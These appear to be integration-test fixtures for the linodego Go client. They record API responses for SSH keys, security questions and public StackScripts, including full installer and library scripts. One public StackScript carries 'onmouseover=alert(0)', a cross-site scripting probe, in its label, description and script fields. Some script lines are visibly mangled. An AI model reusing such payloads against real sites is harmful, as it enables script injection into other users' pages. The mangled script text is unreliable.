X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys?page=1 method: GET response: body: '{"data": [{"id": 451623, "label": "go-test-def", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def", "created": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "528" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:22:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys/451623 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:22:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestSecurityQuestions_List.yaml000066400000000000000000000062731474652371000330350ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/security-questions method: GET response: body: '{"security_questions": [{"id": 1, "question": "What was the name of your first pet?", "response": null}, {"id": 2, "question": "What is the name of your oldest sibling?", "response": null}, {"id": 3, "question": "What was the first concert you attended?", "response": null}, {"id": 4, "question": "What was the make and model of your first car?", "response": null}, {"id": 5, "question": "In what city or town did your parents meet?", "response": null}, {"id": 6, "question": "What is the name of a college you applied to but did not attend?", "response": null}, {"id": 7, "question": "Where did you go on your most memorable school field trip?", "response": null}, {"id": 8, "question": "What is the name of the teacher who impacted you the most?", "response": null}, {"id": 9, "question": "Which city did you visit on your first airplane flight?", "response": null}, {"id": 10, "question": "On what street did your best friend in high school live?", "response": null}, {"id": 11, "question": "What is the name of your favorite city?", "response": null}, {"id": 12, "question": "What is your favorite artist of all time?", "response": null}, {"id": 13, "question": "What is the maiden name of your grandmother?", "response": null}, {"id": 14, "question": "What is the name of your first roommate?", "response": null}, {"id": 15, "question": "In what city or town was your first job?", "response": null}, {"id": 16, "question": "Who is your favorite author?", "response": null}, {"id": 17, "question": "What is the name of the hospital you were born in?", "response": null}, {"id": 18, "question": "What sports team do you love to see lose?", "response": null}, {"id": 19, "question": "On what street is your grocery store?", "response": null}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 15:42:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestStackscripts_List.yaml000066400000000000000000012567541474652371000320040ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts?page=1 method: GET response: body: '{"data": [{"id": 623104, "username": "octane3333", "user_gravatar_id": "3e9341b887a3183cc653e488a37b83b8", "label": "onmouseover=alert(0)", "description": "onmouseover=alert(0)", "ordinal": 0, "logo_url": "", "images": ["linode/fedora29"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\nonmouseover=alert(0)", "user_defined_fields": []}, {"id": 6146, "username": "north5", "user_gravatar_id": "4719cf3a5ab3123f9ee536c796788b68", "label": "north5_ubuntu_basic", "description": "Basic lib of bash functions", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu12.04lts32bit", null, "linode/ubuntu12.1032bit", "linode/ubuntu12.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "short hostname recoord added to /etc/hosts", "script": "#!/bin/bash\n\n# \n# \n\n# Set software sources\nfunction set_sources_list() {\n echo \"Adjusting sources.list (destructively)\" >> $logfile\n CODENAME=$(lsb_release -sc)\n\n cat >/etc/apt/sources.list <> $logfile\n echo ${HOSTNAME} > /etc/hostname\n hostname -F /etc/hostname\n short=$(hostname -s)\n echo \"127.0.1.1 ${short} ${short}\" >> /etc/hosts\n}\n\n# Update software repositories and perform upgrade\nfunction system_upgrade() {\n echo \"Update system packages\" >> $logfile\n apt-get -y update\n apt-get -y upgrade\n}\n\n# Clean system packages\nfunction system_clean() {\n apt-get -y autoremove\n apt-get -y clean \n}\n\n# Install north5 common packages\nfunction north5_packages() {\n apt-get -y install build-essential\n apt-get -y install curl htop\n\n apt-get -y remove apparmor\n\n RELEASE=$(lsb_release -sr)\n\n # Ubuntu 12.04 already has these scripts integrated\n if [[ ${RELEASE} == \"10.04\" ]]; then\n apt-get -y install python-software-properties\n fi\n}\n\n# Default log file\nlogfile=${logfile:-\"/root/stackscript.log\"}", "user_defined_fields": []}, {"id": 9218, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "OpenBiz Cubi powered by Webuzo", "description": "Openbiz Cubi Platform is a fast application development platform designed for business applications. It is built on top of the excellent Openbiz framework. It provides easy and intelligent development tools and implements almost all commonly used components, developers just need to work on their core business logic development. Openbiz Cubi makes application development so quick. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure OpenBiz Cubi and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "OpenBiz Cubi powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install OpenBiz Cubi and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About OpenBiz Cubi :\n# Openbiz Cubi Platform is a fast application development platform designed for business applications.\n# It is built on top of the excellent Openbiz framework. It provides easy and intelligent development \n# tools and implements almost all commonly used components, developers just need to work on their core\n# business logic development. Openbiz Cubi makes application development so quick. \n###########################################################################################################\n\n# Install OpenBiz Cubi Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=243&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling OpenBiz Cubi and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, OpenBiz Cubi has been successfully installed\"\necho \" \"\necho \"You can now configure OpenBiz Cubi and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 3, "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", "label": "StackScript Python Library", "description": "Does nothing on its own. Do not deploy directly.\r\n\r\nA collection of useful Python functions to be included in other StackScripts.", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/centos7", "linode/debian7", "linode/debian8", "linode/fedora22"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import.", "script": "#!/usr/bin/env python\n\n\"\"\"\nPython Library StackScript\n\n\tAuthor: Ricardo N Feliciano \n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t- n/a\n\nThis StackScript is not meant to be directly deployed. Includes a host of\nfunctions to do very common task on a distro, as implemented in Python. The\nfunctions in this library are designed to be run accross the Linode Core\nDistributions:\n\t- Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\n\nimport crypt\nimport fcntl\nimport logging\nimport os\nimport platform\nimport pwd\nimport socket\nimport subprocess\nimport sys\nimport time\ntry:\n\timport apt\nexcept:\n\ttry:\n\t\timport yum\n\texcept:\n\t\ttry:\n\t\t\timport dnf\n\t\texcept ImportError:\n\t\t\tprint(\"Package manager support was not found.\")\n\t\t\t\n\ndistro = None\n\"\"\"String list: Contains details of the distribution.\"\"\"\n\n\ndef end():\n\t\"\"\"End the StackScript cleanly.\"\"\"\n\t\n\t# Should the StackScripts themselves be removed here at some point?\n\tlogging.info(\"The StackScript has been completed.\")\n\tsubprocess.check_output(''echo \"The StackScript has completed. Press enter to continue.\" | wall -n'', shell=True)\n\n\ndef init():\n\t\"\"\"Start features we consider StackScript standard.\"\"\"\n\t\n\t# Sanity check for CentOS 7 & Fedora 22\n\tif os.path.exists(\"/var/log/stackscript.log\"):\n\t\tsys.exit(1) # StackScript already started once, bail\n\t\n\twith open(\"/etc/profile.d/stackscript.sh\", \"w\") as f:\n\t\tf.write(\"\"\"#!/bin/bash\nif pgrep -f \"python /root/StackScript\" &>/dev/null\nthen\n\techo \"####################################################################\"\n\techo \"#####\"\n\techo \"##### Warning: Your StackScript is still running\"\n\techo \"#####\"\n\techo \"#####\"\n\techo \"##### Please do not make any system changes until it \"\n\techo \"##### completes. Log file is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo \" \"\nelse\n\techo \"####################################################################\"\n\techo \"#####\"\n\techo \"##### The StackScript has completed. Enjoy your system.\"\n\techo \"#####\"\n\techo \"#####\"\n\techo \"##### For reference, the logfile is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo \" \"\n\trm /etc/profile.d/stackscript.sh\nfi\"\"\")\n\t\n\tlogging_start()\n\n\ndef logging_start(the_file=\"/var/log/stackscript.log\", the_level=logging.INFO):\n\t\"\"\"Turn on logging.\"\"\"\n\t\n\tlogging.basicConfig(filename=the_file, level=the_level)\n\tlogging.info(\"Logging has started. \" + str(time.time()))\n\n\ndef system_detect_distro():\n\t\"\"\"Prepares distro information.\n\t\n\tThis is critical to support the Linode Core Distributions with a single\n\tscript.\n\t\"\"\"\n\tglobal distro\n\n\t# add support for logging\n\t\n\tdistro = dict(zip((''distname'', ''version'', ''codename''),\n\tplatform.linux_distribution(full_distribution_name=0)))\n\t\n\tdistro[''distname''] = distro[''distname''].lower()\n\n\tif distro[''distname''] in (''debian'', ''ubuntu''):\n\t\tdistro[''family''] = \"debian\"\n\telif distro[''distname''] in (''fedora'', ''centos''):\n\t\tdistro[''family''] = \"redhat\"\n\telse:\n\t\traise NotImplementedError(\"This distribution is not supported.\")\n\n\ndef system_IP_get():\n\t\"\"\"Return IPv4 address configured on eth0.\n\t\n\tThis basically is a disgusting hack. Please let me know if you find a\n\tcleaner way to do this.\"\"\"\n\t# add support for logging\n\n\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\treturn socket.inet_ntoa(fcntl.ioctl(\n\t\ts.fileno(),\n\t\t0x8915, # SIOCGIFADDR\n\t\tstruct.pack(''256s'', \"eth0\")\n\t)[20:24])\n\n\ndef system_IP_rdns(IP):\n\t\"\"\"Get PTR for given IP address.\"\"\"\n\t# add support for logging\n\n\treturn socket.gethostbyaddr(IP)[0]\n\n\ndef system_package_install(package, update_first=True):\n\t\"\"\"Install a package with the appropriate package manager.\"\"\"\n\t# add support for logging\n\n\tif distro is None:\n\t\tsystem_detect_distro()\n\n\tsystem_update() if update_first else None\n\t\n\tif distro[''family''] == \"debian\":\n\t\tos.environ[''DEBIAN_FRONTEND''] = \"noninteractive\"\n\t\tcache = apt.Cache()\n\t\tpkg = cache[package]\n\t\tpkg.mark_install()\n\t\tcache.commit()\n\telif distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes = True\n\t\tyb.install(name=package)\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes = True\n\t\tdnfb.read_all_repos()\n\t\tdnfb.fill_sack()\n\t\tdnfb.install(package)\n\t\tdnfb.resolve()\n\t\tdnfb.download_packages(dnfb.transaction.install_set)\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef system_update():\n\t\"\"\"Uses the distro''s package manager to update packages.\"\"\"\n\t#add support for logging\n\t\n\tif distro is None:\n\t\tsystem_detect_distro()\n\t\n\tif distro[''family''] == \"debian\":\n\t\tcache = apt.Cache()\n\t\tcache.update()\n\t\tcache.open(None)\n\t\tcache.upgrade()\n\t\tcache.commit()\n\telif distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes = True\n\t\tyb.update()\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes = True\n\t\t#dnfb.read_all_repos() #updates were failing with this line\n\t\tdnfb.fill_sack()\n\t\tdnfb.upgrade_all()\n\t\tdnfb.resolve()\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef user_add(username, password, groups):\n\t\"\"\"Creates a Linux user account.\n\t\n\tArgs:\n\t\tusername (String): A Linux username.\n\t\tpassword (String): Password for the user.\n\t\tgroups (tuple): Groups that the user should be added to.\n\t\n\tReturns:\n\t\tbool: True if successful, False otherwise.\n\t\"\"\"\n\n\t# need to implement logging\n\t# need to implement group functionality\n\n\treturn subprocess.call([''useradd'', ''-m'', ''-p'', crypt.crypt(password, \"22\"), ''-s'', ''/bin/bash'', username])\n\n\ndef user_add_pubkey(username, key):\n\t\"\"\"Adds the public SSH key to the specified user.\"\"\"\n\t# need to implement logging\n\t\n\tif username != \"root\":\n\t\tos.seteuid(pwd.getpwnam(username).pw_uid)\n\t\tos.setegid(pwd.getpwnam(username).pw_gid)\n\t\n\tpubkey_dir = os.path.join(os.getenv(\"HOME\"), \".ssh\")\n\t\n\tif not os.path.isdir(pubkey_dir):\n\t\tos.makedirs(pubkey_dir)\n\t\n\twith open(os.path.join(pubkey_dir, \"authorized_keys\")) as f:\n\t\tf.write(key)\n\t\n\tif username != \"root\":\n\t\tos.seteuid(0)\n\t\tos.setegid(0)", "user_defined_fields": []}, {"id": 9219, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "PRADO powered by Webuzo", "description": "PRADO is a component-based and event-driven programming framework for developing Web applications in PHP 5.\r\nPRADO stands for PHP Rapid Application Development Object-oriented.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure PRADO and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "PRADO powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install PRADO and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About PRADO :\n# PRADO is a component-based and event-driven programming framework for developing Web \n# applications in PHP 5. PRADO stands for PHP Rapid Application Development Object-oriented.\n###########################################################################################################\n\n# Install PRADO Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=221&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling PRADO and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, PRADO has been successfully installed\"\necho \" \"\necho \"You can now configure PRADO and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9220, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "BIGACE powered by Webuzo", "description": "BIGACE is a free and professional grade software package that allows you to set up your own website within minutes.\r\n\r\nIts powerful backend puts you in full control of the layout and content of your pages. And when you need more, you can choose from many Plugins and Themes to extend it.\r\n\r\nBigace is designed to provide you with all the features you need from a CMS while having complete freedom to customize it the way you want. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure BIGACE and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "BIGACE powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install BIGACE and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About BIGACE :\n# BIGACE is a free and professional grade software package that allows you to set up your own website within minutes.\n# Its powerful backend puts you in full control of the layout and content of your pages.\n# And when you need more, you can choose from many Plugins and Themes to extend it.\n###########################################################################################################\n\n# Install BIGACE Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=400&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling BIGACE and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, BIGACE has been successfully installed\"\necho \" \"\necho \"You can now configure BIGACE and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 84996, "username": "tkelso", "user_gravatar_id": "2c62e010d29d49a6d80959d24e5c4bb0", "label": "Library_Bash", "description": "Bash Library for StackScripts\r\n** FUNCTIONS ONLY **", "ordinal": 0, "logo_url": "", "images": ["linode/centos7", "linode/debian8", "linode/ubuntu16.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "v0.5.0", "script": "#!/bin/bash\n\n# Complete Bash Library\n# v0.5.0\n\n# Supported Distributions\n#########################\n# Debian 8\n# Ubuntu 16.04\n# Ubuntu 12.04\n# CentOS 7\n#########################\n\n# Notes\n#########################\n# Add function_restart_services\n# Add goodstuff\n# Deeper fail2ban configuration\n# Percentage based service tuning\n# Incorperate deprecated functions into new distros\n#########################\n\n# System Ubuntu\n###############\n\nfunction ubuntu1604_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname Not Defined.\"\n return 1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/ubuntu/$1/g\" /etc/hosts\n}\n\nfunction ubuntu1604_update {\n\t# Configures Apt, disables interactive prompt, updates repositories and upgrades system packages.\n\n\t# Forces Apt to use IPv4\n\techo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n\t# Disables interactive prompts\n\texport DEBIAN_FRONTEND=noninteractive\n\t# Updates Repositories and Upgrades Packages\n\tapt-get update && apt-get upgrade -y\n}\n\nfunction ubuntu1604_install_additional {\n\t# Install additional system packages\n\t\n\tapt-get install -y fail2ban vim screen\n}\n\nfunction ubuntu1604_restart_lamp {\n\tsystemctl restart apache2\n\tsystemctl restart mysql\n}\n\n# Users Ubuntu and Authentication\n#################################\n\nfunction ubuntu1604_user_add_sudo {\n # Installs sudo, creates non-root user and adds the user to the sudo group\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No username and/or password entered.\"\n return 1;\n fi\n \n apt-get -y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction ubuntu1604_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ];\tthen\n echo \"No username and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction ubuntu1604_ssh_disable_root {\n\t# Disables Root SSH Access and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart ssh \n}\n\nfunction ubuntu1604_secure_apache {\n\t# Updates /etc/apache2/conf-available/security.conf with restrictive settings\n\n\tsed -i -e ''s/\\#ServerSignature\\ Off/ServerSignature\\ Off/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerSignature\\ On/\\#ServerSignature\\ On/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/\\#ServerTokens\\ Minimal/ServerTokens\\ Minimal/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerTokens\\ OS/\\#ServerTokens\\ OS/g'' /etc/apache2/conf-available/security.conf\n}\n\n# System Debian 8\n#################\n\nfunction debian8_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname Not Defined.\"\n return 1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/debian/$1/g\" /etc/hosts\n}\n\nfunction debian8_update {\n\t# Configures Apt, disables interactive prompt, updates repositories and upgrades system packages.\n\n\t# Forces Apt to use IPv4\n\techo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n\t# Disables interactive prompts\n\texport DEBIAN_FRONTEND=noninteractive\n\t# Updates Repositories and Upgrades Packages\n\tapt-get update && apt-get upgrade -y\n}\n\nfunction debian8_install_additional {\n\t# Install additional system packages\n\t\n\tapt-get install -y fail2ban vim screen\n}\n\nfunction debian8_restart_lamp {\n\tsystemctl restart apache2\n\tsystemctl restart mysql\n}\n\n# Debian 8 Users and Authentication\n###################################\n\nfunction debian8_user_add_sudo {\n # Installs sudo, creates non-root user and adds the user to the sudo group\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No username and/or password entered.\"\n return 1;\n fi\n \n apt-get -y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction debian8_key_user {\n\t# Adds public SSH key to non-root 